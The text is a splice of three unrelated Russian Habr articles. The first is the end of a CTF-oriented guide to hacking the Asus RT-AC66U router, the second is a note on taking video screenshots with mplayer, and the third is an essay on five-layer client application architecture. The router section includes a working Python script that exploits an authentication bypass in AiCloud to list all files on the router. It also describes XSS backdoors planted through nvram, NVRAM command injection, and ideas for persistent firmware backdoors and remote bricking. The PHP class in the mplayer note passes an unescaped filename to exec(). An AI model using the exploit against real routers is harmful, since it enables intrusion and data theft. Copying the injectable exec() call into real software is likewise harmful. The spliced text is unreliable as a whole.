{ "alertImg.gif", MIME_EXCEPTION_NOAUTH_ALL},
{ "error_page.htm", MIME_EXCEPTION_NOAUTH_ALL},
{ "jquery.js", MIME_EXCEPTION_NOAUTH_ALL},
{ "gotoHomePage.htm", MIME_EXCEPTION_NOAUTH_ALL},
{ "update_appstate.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "update_cloudstatus.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "get_webdavInfo.asp", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.gz", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.tgz", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.zip", MIME_EXCEPTION_NOAUTH_ALL},
{ "*.ipk", MIME_EXCEPTION_NOAUTH_ALL},
{ NULL, 0 }
};
```
Файл get\_webdavInfo.asp доступен без аутентификации и отображает большое количество важной информации об устройстве и сети:
[](https://habrastorage.org/getpro/habr/post_images/a12/4ee/c7d/a124eec7d5ad6c4e30ce8102185ff9aa.png)
Мы можем изменить значения переменных в nvram, чтобы установить XSS-бекдор на этой странице, например:
[](https://habrastorage.org/getpro/habr/post_images/805/30f/40c/80530f40c65bedadfcfcb925de42f9cf.png)
Некоторые операции используют функиции nvram\_get и nvram\_safe\_get. Настройки, бывает, сохраняются через функцию nvram\_set. Если роутер не экранирует данные, которые получает с NVRAM, то можно сделать что-то вроде NVRAM-инъекции (%0A, %0D и `reboot` всегда будут вашими помощниками в этом деле).
AiCloud — **очень** уязвимый сервис, который можно [легко проэксплуатировать](http://www.securityfocus.com/archive/1/526942). Как только вы активируете его в настройках, на роутере запускается lighttpd на порту 8082 (или 443 на новых версиях прошивки) и предлагает дать доступ к вашим файлам онлайн. Прикол в том, что диалог ввода логина и пароля можно обойти, добавив /smb/ к URL (читайте исходники!)
[](https://habrastorage.org/getpro/habr/post_images/37d/79a/045/37d79a045c3e4cf67a0dbc518d81bbc9.png)
[](https://habrastorage.org/getpro/habr/post_images/a5f/0ab/4b6/a5f0ab4b6b7de4a058095ff37f43bea1.png)
Я написал небольшой скрипт для эксплуатации этого бага в AiCloud на RT-AC66U v3.0.0.4.266. Он получает все файлы и пути на роутере, в том числе и с USB-устройств.
```
#!/usr/bin/python
from bs4 import BeautifulSoup
import urllib2
import sys
def list_dir(url, start_dir):
try:
html_page = urllib2.urlopen(url+start_dir)
except urllib2.HTTPError as e:
print e
sys.exit(1)
soup = BeautifulSoup(html_page)
for link in soup.findAll('a'):
path = link.get('uhref')
if path != '../':
is_dir = link.get('isdir')
if is_dir == str('1'):
print url+path
list_dir(url,path)
else:
print url+path
nargs = len(sys.argv)
if nargs == 2:
url = sys.argv[1]
start_dir = "/smb"
elif nargs == 3:
url = sys.argv[1]
start_dir = str(sys.argv[2])
else:
print 'Asus RT-AC66U AiCloud Unauthenticated File Disclosure\
\nTested Firmwares: 3.0.0.4.266, 3.0.0.4.270 and 3.0.0.4.354\
\nDisclosed by Kyle Lovett\
\nScript by Bernardo Rodrigues - http://w00tsec.blogspot.com\
\nUsage: python %s http://url [path]' % sys.argv[0]
sys.exit(1)
list_dir(url, start_dir)
```
[](https://habrastorage.org/getpro/habr/post_images/8d2/592/288/8d2592288250ceaff2a47b758ec9dc4b.png)
[](https://habrastorage.org/getpro/habr/post_images/397/335/2e7/3973352e7b275a637c4e7d6f73313b32.png)
И напоследок, не забудьте сравнить разницу в файлах в директории www. По этому пути находятся все компоненты и скрипты, которые используются в веб-интерфейсе.
[](https://habrastorage.org/getpro/habr/post_images/06e/38e/55b/06e38e55bc651787474eb08d66839398.png)
##### Бонус
Почему-бы не попробовать открыть крышку роутера, не повредив гарантийную пломбу? Для этого вам понадобятся советы от ребят из [DEFCON Tamber Evident Village](http://defcne.net/villages/22/17).
[](https://habrastorage.org/getpro/habr/post_images/61f/925/544/61f9255440160905553f1f9bee6c4d02.png)
##### Другое (вроде заключения)
Взлом Asus RT-AC66U — отличное упражнение для новичков во взломе роутеров. Бо́льшая часть исходного кода есть в свободном доступе, и можно найти кучу эксплоитов и описаний уязвимостей для него. Вы могли и не заметить, но мы протестировали каждый пункт из [OWASP Internet of Things Top 10](https://www.owasp.org/index.php/OWASP_Internet_of_Things_Top_Ten_Project#tab=OWASP_Internet_of_Things_Top_10_for_2014). Ходят слухи, что этот роутер будет в составе базовой части OWASP IoT Webgoat и Damn Vulnerable Embedded Linux.
Вот еще парочка подходов, которые вам могут дать дополнительные очки в соревновании:
* Перезапись кода загрузчика и создание dual-boot с backdoor
* Добавление backdoor в прошивку таким образом, чтобы он не удалялся при обновлении прошивки
* Окирпичивание роутера удаленно
* Перепрограммирование LED на игру в PONG
Есть еще куча вещей, о которых я хочу написать, но придержу их для следующих постов. Если вы намерены участвовать в SOHOpelesslyBroken CTF и нашли эту статью полезной, вы можете в любое время пнуть меня и попить со мной кофе во время DEFCON/BsidesLV/Blackhat =) | https://habr.com/ru/post/230469/ | null | ru | null |
# Получение скриншотов и информации с видео
В этой заметке я рассказываю, как сделать скриншот с видео, а так же о том, как получить информацию о видео файле.
Конечно, многие уже знают, как сделать скриншот с видео. Но у кого то, как говорится, руки не доходят. Вот для таких людей я и написал эту небольшую заметку. Надеюсь, она будет полезна.
Итак, приступаю:
Многие, наверно, слышали про [ffmpeg](http://ffmpeg.mplayerhq.hu) — набор библиотек для работы с видео. Но, оказывается, такую банальную вещь, как вытаскивание скриншота из видеофайла эта штука делает очень медленно! Чем дальше от начала фильма нужно сделать скриншот, тем больше времени придется ждать, так как ffmpeg сначала «прокручивает» видео до нужной отметки. Получить скриншот ffmpeg’ом можно так:
> `ffmpeg -i /home/username/movie.avi -an -ss 00:20:14 -r 1 -vframes 24 -s 320×240 -y -f mjpeg /home/username/screenshot-pct.jpg`
Но это медленно, поэтому я не рекомендую этого делать. Естественно, такая медленная работа никого не устраивает (зачем вообще разработчики сделали эту возможность в ffmpeg?).
К счастью, есть альтернатива — это [Mplayer](http://www.mplayerhq.hu/). Он бывает как с графической оболочкой, так и без (смотря как его собрать) и делают его те же товарищи, которые делают ffmpeg. Нам графическая оболочка не нужна нафиг, мы же не собираемся смотреть фильмы! Так что смело собирай Mplayer без GUI.
Используем:
> `mplayer /home/username/movie.avi -ss 00:20:14 -frames 24 -vo jpeg:outdir=/home/username`
Эта комманда означает: «Сделай мне 24 скриншота с 20-й минуты и 14-й секунды фильма /home/username/movie.avi и положи их в директорию /home/username».
Почему именно 24 скриншота. Дело в том, что обычно фильм содержит в себе от ~24 до ~31 кадра, поэтому я беру 24 кадра. Больше, я думаю, вряд ли нужно. Понятно, что в течении секунды сцена может сильно меняться (особенно, когда взрывается вертолёт =) ), именно поэтому мы делаем 24 кадра и даем возможность потом выбрать из этих кадров наиболее красивый кадр.
Теперь о том, как получить информацию из видео.
Лично я использую для получения мета-информации о видео-файле тот же Mplayer:
> `mplayer -identify /home/username/movie.avi -ao null -vo null -frames 0 2>/dev/null | grep ^ID_`
Или, можно так (php, без grep):
> `<br/
> /**
>
> * Получение мета-информации о видео-файле.
>
> * Использует mplayer.
>
> */
>
> class VideoInfoComponent {
>
> public $mplayer = '/usr/local/bin/mplayer';
>
> /**
>
> * Получить мета-информацию о видео-файле
>
> *
>
> * @param string $filename Путь к файлу
>
> * @return array мета-информация
>
> */
>
> public function info($filename) {
>
> $result = array();
>
> $params = array();
>
> exec("{$this->mplayer} -vo null -ao null -frames 0 -identify '{$filename}'", $result);
>
> foreach ($result as $i=>$value) {
>
> if (!preg_match('/^ID_/', $value)) unset($result[$i]);
>
> else {
>
> list ($param, $data) = explode('=', $value);
>
> $params[ $param ] = strtolower($data);
>
> }
>
> }
>
> $params['ID_SIZE'] = filesize($filename);
>
> return $params;
>
> }
>
> }
>
> ?>` | https://habr.com/ru/post/22481/ | null | ru | null |
# Архитектура клиентского приложения (механизмы структуризации)
История первая
==============
Некоторое время назад я работал в одной игровой компании, которой руководил немец. Создание игр не было основным бизнесом этого немца. Основные доходы он получал от продажи косметики и от сдачи коммерческой недвижимости в аренду. Наличие игровой компании было способом выделиться среди своих знакомых бизнесменов.
Игровая компания немца разрабатывала 3 вида игр:
1. Флэш-игры для мобильных телефонов с поддержкой технологии J2ME.
2. Обучающие игры для портативной игровой приставки Nintendo DS. Заказчиками этих игр были европейские издатели, а покупателями — родители, чьи чада имели проблемы с обучением по математике, английскому или немецкому языкам. Подразделение игр для Nintendo DS выпустило много игр. Хотя они и не стали AAA-тайтлами, но окупили свою разработку и принесли небольшую прибыль.
3. Игры для платформы Nintendo Wii.
В последней команде был я. Команда должна была разработать игру для маленьких девочек по детскому бренду. Бренд был достаточно известен в Германии (это был основной рынок) и в ряде других европейских стран: во Франции и в Великобритании.
С самого начала была понятна только общая канва игры. Маленькая фея ходит по саду, встречает своих подруг (других фей), разговаривает с ними и приглашает на вечеринку. Подготовка к этой вечеринке занимает значительную часть игры: фея украшает сад, собирает яблоки, готовит из них праздничный пирог. Вечеринка проходит весело: фея и ее подруги играют на музыкальных инструментах, а затем — танцуют.
Предполагалось, что игра будет представлять собой последовательность мини-игр. Каждая мини-игра посвящена определенной теме: украшению сада, сбору яблок, приготовлению праздничного пирога, исполнению музыки и танцам. Не смотря на то, что были понятны темы мини-игр, не были понятны их детали. Геймдизайнера в команде не было.
Поначалу над игрой работало два программиста и один 3D-моделлер. Когда я присоединился к команде, не было ни проработанного игрового дизайна (или человека за него отвечающего), ни платформы, на которой можно было бы сделать игру.
На второй день после моего устройства на работу ко мне подошел владелец компании и спросил: “Когда будет готова игра?”. К тому времени у меня был опыт работы в игровой индустрии и, согласно этому опыту, разработка такой несложной игры командой из 3-4 человек занимала около года. Так я и сказал, что потребуется где-то около года.
На это немец мне ответил: “Такого срока нет. Игра должна быть сделана через 3 месяца”. Немного офигевая, я спросил: “А почему через три месяца?” На что немец мне ответил: “У меня будет день рождения, и нужно, чтобы к моему дню рождения игра была сделана”.
Для такого жесткого требования по срокам были и объективные предпосылки. У немца был заключен контракт с издательством, согласно которому он получал фиксированную сумму денег на разработку плюс процент от продаж. Но процент от продаж он получал только в том случае, если игра будет сдана в срок. А срок сдачи игры совпадал с его днем рождения.
После добавления в команду 4-го программиста, на повестке дня встал вопрос о выборе начальства. Как обычно формируют проектную команду? Согласно правильному подходу, сначала ищется руководитель, а затем уже он нанимает под себя остальных сотрудников. Здесь же было сделано все наоборот. Сначала были найдены сотрудники, а затем начальство стало смотреть, кто из них может быть руководителем. Ладно бы, если бы при выборе руководителя во главу угла поставили бы профессиональные навыки.
**Но в качестве руководителя выбрали человека, который пообещал сделать игру за 3 месяца.**
После назначения руководителя команды началась работа над игрой. Проблемы с игровым дизайном и отсутствием технологии так и не были решены. Поэтому работа не двигалась. Это изрядно злило вновь назначенного руководителя. Нередкий диалог между ним и программистом:
**Руководитель:** “Где игра про яблоки?”
**Программист:** “Еще не сделана”.
**Руководитель:** “Когда будет сделана?”
**Программист:** “Не знаю. Мне непонятно, что программировать”.
**Руководитель:** “Ну ты же — программист! Придумай!”
Систему разработки игр в игровой студии можно представить в виде иерархии из 4-х системных уровней.
**Первый системный уровень — это уровень ресурсов.** К ним относятся: финансы, сотрудники (которые доступны либо на рынке, либо внутри компании), бренд (если игра создается по бренду), первоначальная концепция игры. Этот уровень задает основу для всего проекта.
**Второй системный уровень — это игровой дизайн.** Он не должен представлять “дизайн игры в вакууме”. Наоборот, он должен опираться на имеющиеся ресурсы.
Например, бюджет упомянутой игры для девочек был незначительным. К тому же, на разработку могла быть потрачена лишь половина суммы, т.к. вторая половина предназначалась для покупки оборудования (компьютеров, телевизоров, девкитов, тесткитов) и лицензирование программ для художников и программистов. Небольшой бюджет разработки и ограничения платформы исключали возможность использования в игре реалистичной графики и реалистичной физики. Денег не было на приобретение лицензии технологически продвинутого движка, а игровая консоль не позволяла использовать шейдеры. Приходилось использовать то, что уже есть — бесплатный 3D-движок NintendoWare компании Nintendo.
Применение физического движка дает игроку свободу передвижения. Игрок может двигаться по игровому уровню в любом направлении до тех пор, пока не столкнется с препятствием. Но поддержка физики требует определенных затрат как со стороны дизайнеров, которые должны расставлять на сцене collision boxes, так и со стороны программистов, которым приходится обрабатывать коллизии. Все это сказывается на длительности разработки. Поэтому мы решили ограничиться использованием физики только в одной, главной сцене и реализовать мини-игры исключительно с использованием анимаций.
**Третий системный уровень — это технологическая платформа.** Платформа позволяет создавать игры по имеющемуся игровому дизайну, вернее, определенные виды игр. Для достижения этой цели она использует имеющиеся ресурсы первого системного уровня.
Платформа включает в себя определенные технические и управленческие инструменты. В качестве технических инструментов выступают:
* система управления игровыми ресурсами;
* машина игровых состояний, или система управления игровым потоком (game flow);
* система сценариев (scripting system);
* система рассылки и обработки сообщений;
* система обработки ввода (например, в случае игровой приставки Nintendo Wii она может распознавать движения контроллера Wii Remote);
* пользовательский интерфейс;
* система загрузки ассетов (поверхности, статических и динамических объектов, сценариев);
* система загрузки и сохранения пользовательских данных;
* и т.д.
Управленческие инструменты включают:
* систему управления задачами;
* систему управления качеством;
* систему управления ресурсами;
* систему управления версиями;
* оценку проекта;
* план проекта;
* и т.д.
**Четвертый системный уровень — это сама игра или серия подобных игр.**
Разбиение на системные уровни позволяет бороться со сложностью. Есть разница, делает ли программист мини-игру по определенному дизайну и с использованием конкретной платформы, по которой он может задать вопросы другим опытным программистам, работающим в той же компании, или же “льет код” на низкоуровневом API. Сложность реализации одной и той же мини-игры в обоих случаях будет неравноценной.
Например, после того, как был придуман и описан гейм-дизайн каждой мини-игры и была реализована платформа, один программист мог реализовать одну мини-игру в черновом качестве за 3 рабочих дня. Еще 2 дня требовались для того, чтобы добавить в мини-игру мультиплеер и навести некоторые красивости. Таким образом, создание одной мини-игры в финальном качестве обходилось в 5 человеко-дней. Между тем, как до этого момента (при отсутствующих дизайне и технологической платформе) проходили недели, а работа — не двигалась.
История вторая
==============
Однажды меня пригласили на собеседование в один стартап. Проект был не очень интересный для меня, но подкупило то, что компания находилась буквально в пяти минутах ходьбы от моего дома. Я подумал, что впервые в своей карьере смогу не тратить время на дорогу на работу.
Собеседование в стартап проводилось по скайпу, и вопросы были достаточно адекватные. В основном, они касались моего предыдущего опыта. Что я делал? Чем занимался? С какими задачами сталкивался?
Процедура отбора кандидатов в стартап была двухступенчатая. Собеседование я прошел успешно, поэтому через некоторое время руководитель стартапа связался со мной и предложил выполнить тестовое задание.
Тестовое задание звучало так:
*Разработать текстовый онлайн-редактор наподобие того, что используется в Google Docs.*
Необходимо было поддержать следующие возможности:
* разбиение текста на абзацы;
* автоматическое распределение текста по страницам;
* форматирование текста;
* возможность одновременного редактирования несколькими пользователями;
* отображение и маркировка всех изменений, сделанных разными пользователями;
* хранение документа в “облаке”.
На выполнение тестового задания выделялась неделя.
Не стоит говорить, что я не стал выполнять такое тестовое задание, а, вежливо поблагодарив руководителя, более с ним не связывался.
Промежуточные итоги
===================
**Подводя итоги, можно утверждать, что в обеих историях была допущена одинаковая ошибка — [пропуск системного уровня](http://www.triz-ri.ru/management/?id=279&name=o_poteryannom_urovne) [6].**
В первой истории при работе над игрой для девочек были пропущены “уровень игрового дизайна” и “уровень технологической платформы”, что привело к застопориванию работы над проектом и увеличению времени разработки. Работа над проектом была разблокирована только после того, как были добавлены недостающие уровни: проработан игровой дизайн и реализована (пусть и легковесная) платформа.
Во второй истории тоже пропущены системные уровни. Предложенная задача выглядит явно сложнее обычного тестового задания. Для борьбы со сложностью решение надо бы представить в виде иерархической системы, где нижние слои обеспечивают работу слоев, расположенных выше. Но такая работа требует значительных трудозатрат и предъявляет к квалификации инженера завышенные требования. Он должен разбираться буквально во всех областях: и в сетевых протоколах, в текстовых редакторах. Поэтому она более доступна для компании, чем для одного человека.
Иерархия системных уровней
==========================
Подход с выявлением системных уровней можно использовать при проектировании приложений. Конечно, если речь идет о написании какой-то простой программы, то в разбиении на уровни нет необходимости. Многоуровневая (или многослойная) архитектура имеет смысл, если разрабатывается сложное приложение или приложение средней сложности.
Выявление системных уровней — это первый шаг к разработке архитектуры. Если вы читали книгу по объектно-ориентированному анализу и проектированию, то наверняка не раз видели, как автор задается вопросом: “Как находить кандидаты в классы?”. Возможно, программируя, вы и сами задавали себе такой же вопрос.
Процесс структурирования приложения не следует начинать с выявления классов. Класс — это слишком маленький элемент абстракции. Если проводить аналогию со строительством, то класс — как отдельный кирпичик. А строительство небоскреба вряд ли следует начинать с вопроса о том, как сложить его из кирпичей.
Трехслойная архитектура
=======================
Фаулер [7] и руководство компании Microsoft по проектированию архитектуры приложений [5] выделяют три системных уровня (другими словами — три слоя абстракции), на которые можно разделить разрабатываемое приложение.
***Примечание:** Оригинальную версию диаграммы можно посмотреть [на сайте Microsoft](https://msdn.microsoft.com/en-us/library/ee658109.aspx)*
Первый слой абстракции — это слой доступа к данным. В задачи данного слоя входит абстрагирование от базы данных. SQL-запросы к базе данных, в которой и хранятся данные приложения, скрываются за фасадом, который использует бизнес-слой.
Второй слой абстракции — это слой бизнес-логики. Он содержит объекты предметной области, а также функции для работы с ними. Эти функции и реализуют данную бизнес-логику.
Третий слой абстракции — это слой взаимодействия с пользователем. Данный слой включает компоненты пользовательского интерфейса.
Трехслойная архитектура, описанная в руководстве компании Microsoft, является рабочей. Единственное, у меня вызывает непонимание некоторая вещь, связанная с взаимодействием слоя бизнес-логики со слоем доступа к данным.
Согласно моему пониманию, классы предметной области должны относиться к слою бизнес-логики. С другой стороны, основная задача слоя доступа к данным заключается в том, чтобы получать данные из базы данных и копировать эти полученные данные в бизнес-объекты.
Получается противоречие:
> ** С одной стороны, бизнес-объекты должны быть объявлены на уровне бизнес-логики, т.к. логически относятся к нему.
> * А с другой стороны, бизнес-объекты должны быть доступны на уровне доступа к данным, чтобы в них можно было скопировать данные, прочитанные из базы данных.*
Видя это противоречие, мне хочется предложить несколько иной подход к разбиению приложения на системные уровни.
Пятиуровневая архитектура
=========================
Предлагаемый мною подход подразумевает разбиение клиентского приложения на 5 системных уровней. Ключевыми из предложенных пяти уровней являются лишь два. Это означает, что клиентское приложение, как минимум, может состоять из двух системных уровней. Использование же всех 5-ти слоев — это опциональный и, возможно, более желательный вариант.
Ограничения
-----------
Предлагаемая архитектура имеет ряд ограничений:
Во-первых, она была опробована мной и коллегами при создании 5-ти чистых клиентских приложений. Т.е. **не было серверной составляющей, не использовалась СУБД, а приложения запускались на десктопных компьютерах и мобильных устройствах**.
Четыре приложения предназначены для создания и редактирования различных игровых ресурсов. Пятое приложение — это сервисная программа, предназначенная для оказания услуг.
Во-вторых, разработанные приложения предназначались для создания и редактирования документов. **Они обладали минимальной бизнес-логикой** (например, не должны были проводить платежки), **но богатым интерфейсом** — он содержал множество различных элементов управления (контролов) для создания и редактирования данных (редакторы треков, графики функций, редакторы свойств и т.п.).
Описание
--------
**Первый уровень можно назвать инфраструктурным.** Называется он так, потому что содержит инфраструктуру, т.е. библиотеки, модули, классы и методы, которые используются во всем приложении.
Если разработка приложения ведется на языке программирования C++, то, как правило, в инфраструктурный уровень включают:
* библиотеки работы с растровыми изображениями;
* XML и JSON-парсеры;
* библиотеки сжатия и шифрования данных;
* библиотеки контейнеров и различных вспомогательных классов (STL, boost);
* вспомогательные утилиты, написанные разработчиками приложения.
Инфраструктурный уровень представляет собой некоторую “свалку” из разных полезных утилит и вспомогательных классов. Наличие такого слоя позволяет избавиться от энтропии в выше расположенных слоях. **Все, что является полезным, но трудно упорядочить, нужно помещать в инфраструктурный уровень.**
**Второй уровень можно назвать моделью данных.** Этот уровень является ключевым, потому что без него вряд ли может обойтись хоть одно клиентское приложение.
Название “модель данных” перекликается с названием “слой доступа к данным” из руководства Microsoft по проектированию приложений. Не смотря на то, что задачи этого уровня приблизительно совпадают с задачами слоя доступа к данным, имеется и существенное отличие:
> **Модель данных объединена с источником данных**, в качестве которого используются файлы в форматах XML или JSON. Для хранения данных не используется СУБД.
Модель данных представляет собой объектную модель предметной области [7, с. 140] и состоит из самосериализуемых классов, объекты которых загружают себя из файла и сохраняют себя в файл.
*Модель данных содержит бизнес-объекты, которые, согласно упомянутому руководству, должны включаться в слой бизнес-логики.*
Данные объекты либо не содержат никакой логики, либо обладают некоторой минимальной логикой, связанной, например, с верификацией данных. Количество методов, которыми обладают эти объекты, тоже невелико. Как правило, они либо предоставляют упрощенный доступ к другим объектам, связанным с первыми, либо отвечают за сериализацию и десериализацию самого объекта.
Согласно Фаулеру [7, с. 140] объектная модель предметной области относится к бизнес-логике. Поэтому, проводя прямое сопоставление предложенной пятиуровневой модели с классической трехслойной архитектурой [5], трудно соотнести, какому слою абстракции соответствует модель данных. **Получается некоторый микс между источником данных, слоем доступа к данным и частью бизнес-логики.** Он оправдан, когда нет необходимости разносить по физическим уровням (tires) хранение данных (СУБД) и их обработку (сервер приложений).
В программе для создания визуальных эффектов и в программе для создания анимационных блюпринтов объекты модели данных сами сериализуют себя в XML. Это само сохраняющиеся объекты. Модель данных включает в себя как объекты в памяти в виде экземпляров классов, так и сериализованные XML-файлы на жестком диске.
В GPS-навигаторе модель данных немного сложнее. Она состоит из нескольких специализированных баз данных и прослойки кода, осуществляющей доступ к данным.
Объединение объектной модели предметной области, слоя доступа к данным и источников данных в одном системном уровне позволяет использовать подход *“проектирование на основе предметной области”* и создать единое пространство решений, которое используется для организации данных как внутри приложения, так и при их хранении.
Подобный подход может быть применен, если приложению не нужно оперировать большим массивом данных и/или использовать СУБД. В противном случае уровень модели данных придется все-таки разделить.
**Рисунок** *“Сравнение классической трехслойной и пятиуровневой архитектур”*
**Третий уровень — это уровень сервисов или служб.** С моей точки зрения именно этот слой соответствует слою бизнес-логики из руководства компании Microsoft. Однако такое соответствие формально, потому что в случае программ для редактирования трудно понять, что является бизнес-логикой. Если пользователю просто нужно создать и/или отредактировать документ (например, визуальный эффект или анимационный блюпринт), то что считать бизнес-логикой? Сам процесс редактирования? В приложениях-редакторах нет финансовых проводок и нет системы управления производственным процессом. К бизнес-логике можно было бы отнести объектную модель предметной области. Но она уже располагается на уровне модели данных.
Такие вопросы показывают, что **механическое сопоставление трехслойной архитектуры, изложенной в руководстве Microsoft, и пятиуровневой архитектуры, предлагаемой в этой статье, не является корректным вне рассмотрения архитектур конкретных приложений.**
Уровень сервисов представляет собой набор функциональных модулей. Каждый модуль отвечает за реализацию какой-нибудь одной операции, выполняемой над моделью данных.
В некоторых клиентских приложениях таких бизнес-функций может быть много. В некоторых — мало. А в некоторых — они совсем отсутствуют. Поэтому для ряда приложений уровень сервисов может быть пропущен.
Например, в редакторе визуальных эффектов каждый эффект может быть сохранен в формате XML. Однако для того, чтобы данный визуальный эффект мог использоваться в игре, его необходимо преобразовать в бинарный формат. Таким преобразованием занимается компилятор. Этот компилятор и является отдельным сервисом.
В GPS-навигаторе сервисов больше. Потому что это приложение предназначено для оказания услуг пользователям. К числу таких сервисов относятся:
* рисование карты местности, где находится пользователь;
* прокладывание маршрута в заданную точку;
* навигация по маршруту;
* поиск координат по адресу.
Модули, ответственные за оказание услуг, располагаются на уровне сервисов. **Сервисы не зависят или слабо зависят друг от друга. Их можно поместить в разные модули и избежать излишней связности между ними.**
**Четвертый уровень отвечает за редактирование.** Данный уровень характерен для программ-редакторов. Он содержит типовые компоненты или типовые архитектуры редакторов. Прежде всего, я имею в виду:
* Архитектуру Документ/Вид (еще известную из библиотеки классов MFC) [1]
* Undo/Redo Management [3]
Архитектура Документ/Вид осуществляет привязку конкретного расширения файла к определенному типу документа, а также привязывает определенный тип документа к определенному виду, ответственному за его визуализацию.
Undo/Redo Management обеспечивает поддержку отмены операции. Благодаря такой возможности пользователь при редактировании сложного документа в любой момент может отменить ошибочно выполненную операцию. В результате, редактирование становится устойчивым к ошибкам и не страшным для человека. Такая функциональность стала де-факто стандартом различных программ редактирования.
Уровень редактирования является частью слоя представления классической трехслойной архитектуры [5]. Его выделение в отдельный слой обусловлено тем, что **он задает каркас для редактирования**. Кроме того, архитектурные концепции, используемые для организации уровня редактирования, **не зависят от визуализации данных**.
**Пятый уровень** тоже является ключевым. Без него не обойдется ни одно клиентское приложение. Этот уровень **содержит компоненты, отвечающие за визуализацию данных и взаимодействие с пользователем.**
Не смотря на то, что этот уровень называется точно так же, как и слой из классической трехслойной модели, тем не менее, он имеет чуть меньше обязанностей. Исключение из него компонентов, отвечающих за редактирование, позволяет разработчику **сконцентрировать свое внимание на визуализации данных и написании разнообразных органов управления**.
**Разделение между уровнем редактирования и уровнем представления может носить не физический, а ментальный характер.** Компоненты обоих слоев могут располагаться в одном модуле.
Связь с шаблоном проектирования “Модель — Вид — Контроллер”
===========================================================
Концепция *“Модель — Вид — Контроллер”* была сформулирована норвежцем Трюгве Реенскаугом в 1978/79-ом годах во время его работы в лаборатории Xerox PARC [8]. Она предполагает разделение структуры приложения на три составляющих:
1. *Модель.* Описывает данные. Не занимается преобразованием данных. Не содержит кода по их визуализации.
2. *Вид.* Отвечает за визуализацию Модели.
3. *Контроллер.* Изменяет Модель, как правило, в результате действий пользователя.
Одним из самых неоднозначных компонентов является *Контроллер*. В разных реализациях шаблона проектирования *“Модель — Вид — Контроллер”* компонент *Контроллер* выполняет разные обязанности. Например, в API операционных систем Mac OS и iOS существует контроллер видов, который отвечает за управление видами, а в библиотеке классов Microsoft Foundation Classes для программирования под Windows используется архитектура *“Документ — Вид”*, в которой под *Моделью* понимается *Документ*, а *Контроллер* — отсутствует.
В ряде трактовок под *Контроллером* понимают обработку команд от устройств ввода (например, мыши и клавиатуры). В других случаях к устройствам ввода добавляют и визуальные элементы ввода, отображаемые на экране (например, меню) [8].
Некоторые трактовки отождествляют *Контроллер* с бизнес-логикой приложения [8].
Хотя концепция *“Модель — Вид — Контроллер”* и не имеет устоявшегося взгляда на элемент *Контроллер*, тем не менее, она предполагает отделение данных от их визуализации.
В этой связи, можно сказать, что и трехслойная архитектура, описанная в руководстве Microsoft [5], и пятиуровневая архитектура, излагаемая в настоящей статье, в той или иной мере отвечают концепции *“Модель — Вид — Контроллер”*. Критерии, использованные для разделения приложения на системные уровни, отчасти пересекаются с критериями, используемыми в *“Модель — Вид — Контроллер”* для выделения ее компонентов.
Организация же выделенных элементов в виде слоев однозначно задает их соподчиненность и устраняет различные вопросы на тему *“Должен ли Контроллер знать о Виде?”* или *“Должна ли Модель обновлять Вид при своем изменении?”*.
Разделение архитектуры на слои задает не только логику выделение компонентов, но и четко специфицирует зависимости между ними. Модель данных ничего не знает ни об уровне сервисов, ни об уровне редактирования. Однако может быть преобразована ими. Уровень сервисов ничего не знает о визуализации модели. Однако уровень представления использует как модель, так и сервисы.
Также в предложенной архитектуре отсутствует такой неоднозначный компонент, как *Контроллер*. Вместо него добавлены уровень сервисов, уровень редактирования и уровень представления, обязанности которых и положение в иерархии четко специфицированы.
На уровне редактирования используется архитектура *“Документ — Вид”*, которая является подвидом шаблона проектирования *“Модель — Вид — Контроллер”*. Данная архитектура предполагает выделение классов *Документ* (отвечает за хранение и преобразование данных и, по сути дела, является оберткой над классами из модели данных) и *Вид* (отвечает за визуализацию данных и обработку команд от пользователя).
Использование архитектуры *“Документ — Вид”* позволяет специфицировать взаимодействие между моделью и представлением (видом), добавить возможность редактирования модели данных и поддержать возможность отмены операций.
Пример 1. Редактор All Sparks
=============================
Обзор
-----
Редактор All Sparks представляет собой приложение для создания визуальных эффектов. По внешнему виду данное приложение напоминает аудиоредактор. Этому есть обоснование: как и звук, визуальный эффект имеет определенную длительность. Поэтому окно редактирования визуального эффекта содержит ось времени (timeline), расположенную горизонтально. Под осью времени расположены треки, которые тоже ориентированы горизонтально. Пользователь может добавлять и удалять треки.
*Главное окно редактора All Sparks*
На треках размещаются компоненты. Пользователь может выбирать эти компоненты из списка *Component List* и перетаскивать их на треки.
В качестве компонентов выступают:
* частицы;
* биллборды;
* трехмерные модели;
* источники света;
* музыка и звуки;
* различные силы, например:
+ сила тяготения;
+ сила сопротивления воздуха;
+ сила турбулентности;
+ и т.д.
Компоненты-силы воздействуют на компоненты-частицы. Если расположить компонент “частицы” на одном треке, а под ним расположить компонент “сила тяготения”, то во время проигрывания эффекта на разлетающиеся частицы будет действовать сила тяжести. Постепенно частицы будут падать вниз.
*Компоненты располагаются на треках*
Каждый компонент представлен в виде прямоугольника. Поскольку компонент может занимать место только на одном треке, то высота компонента совпадает с высотой трека. Длина компонента задает длительность его существования, а начало — момент времени его появления при воспроизведении эффекта.
Для того, чтобы пользователь мог быстро идентифицировать тип компонента, каждый тип компонента имеет свой цвет.
После размещения компонента на треке, пользователь может задавать различные его свойства. Свойства компонента отображаются в редакторе свойств, который располагается в нижней части окна редактирования.
*Редактор свойств*
Редактор свойств представляет собой таблицу из двух столбцов и множества строк. В левой колонке указываются названия свойства, а в правой — значения.
Пользователь может посмотреть на то, как выглядит визуальный эффект, в окне просмотра. Это окно располагается в левой части главного окна программы. Для того, чтобы воспроизвести эффект, пользователь должен нажать кнопку Play. После этого эффект компилируется в бинарный формат и передается игровому движку для воспроизведения.
*Визуальный эффект в окне просмотра*
Архитектура
-----------
Архитектуру редактора визуальных эффектов можно представить в виде иерархии из 5-ти системных уровней:
**Первый системный уровень — это инфраструктура.** Он представляет собой набор вспомогательных классов. Как правило, эти классы содержат какие-то математические методы, которые отсутствуют в стандартном классе Math, или же какие-то дополнительные операции со строками и с именами файлов. Инфраструктурный уровень очень небольшой.
**Второй системный уровень — это модель данных.** Модель данных описывает структуру визуального эффекта: треки, компоненты на них, свойства компонентов.
Каждый класс модели данных имеет методы Load и Save, которые предназначены для загрузки и сохранения объекта из/в XML. Для чтения и записи XML используется LINQ to XML.
```
public class Component
{
public Dictionary Properties { get; } = new Dictionary();
public Component Load(XElement item)
{
if (item == null)
{
throw new ArgumentNullException(nameof(item));
}
// Loading logic
return this;
}
public XElement Save()
{
return new XElement("component",
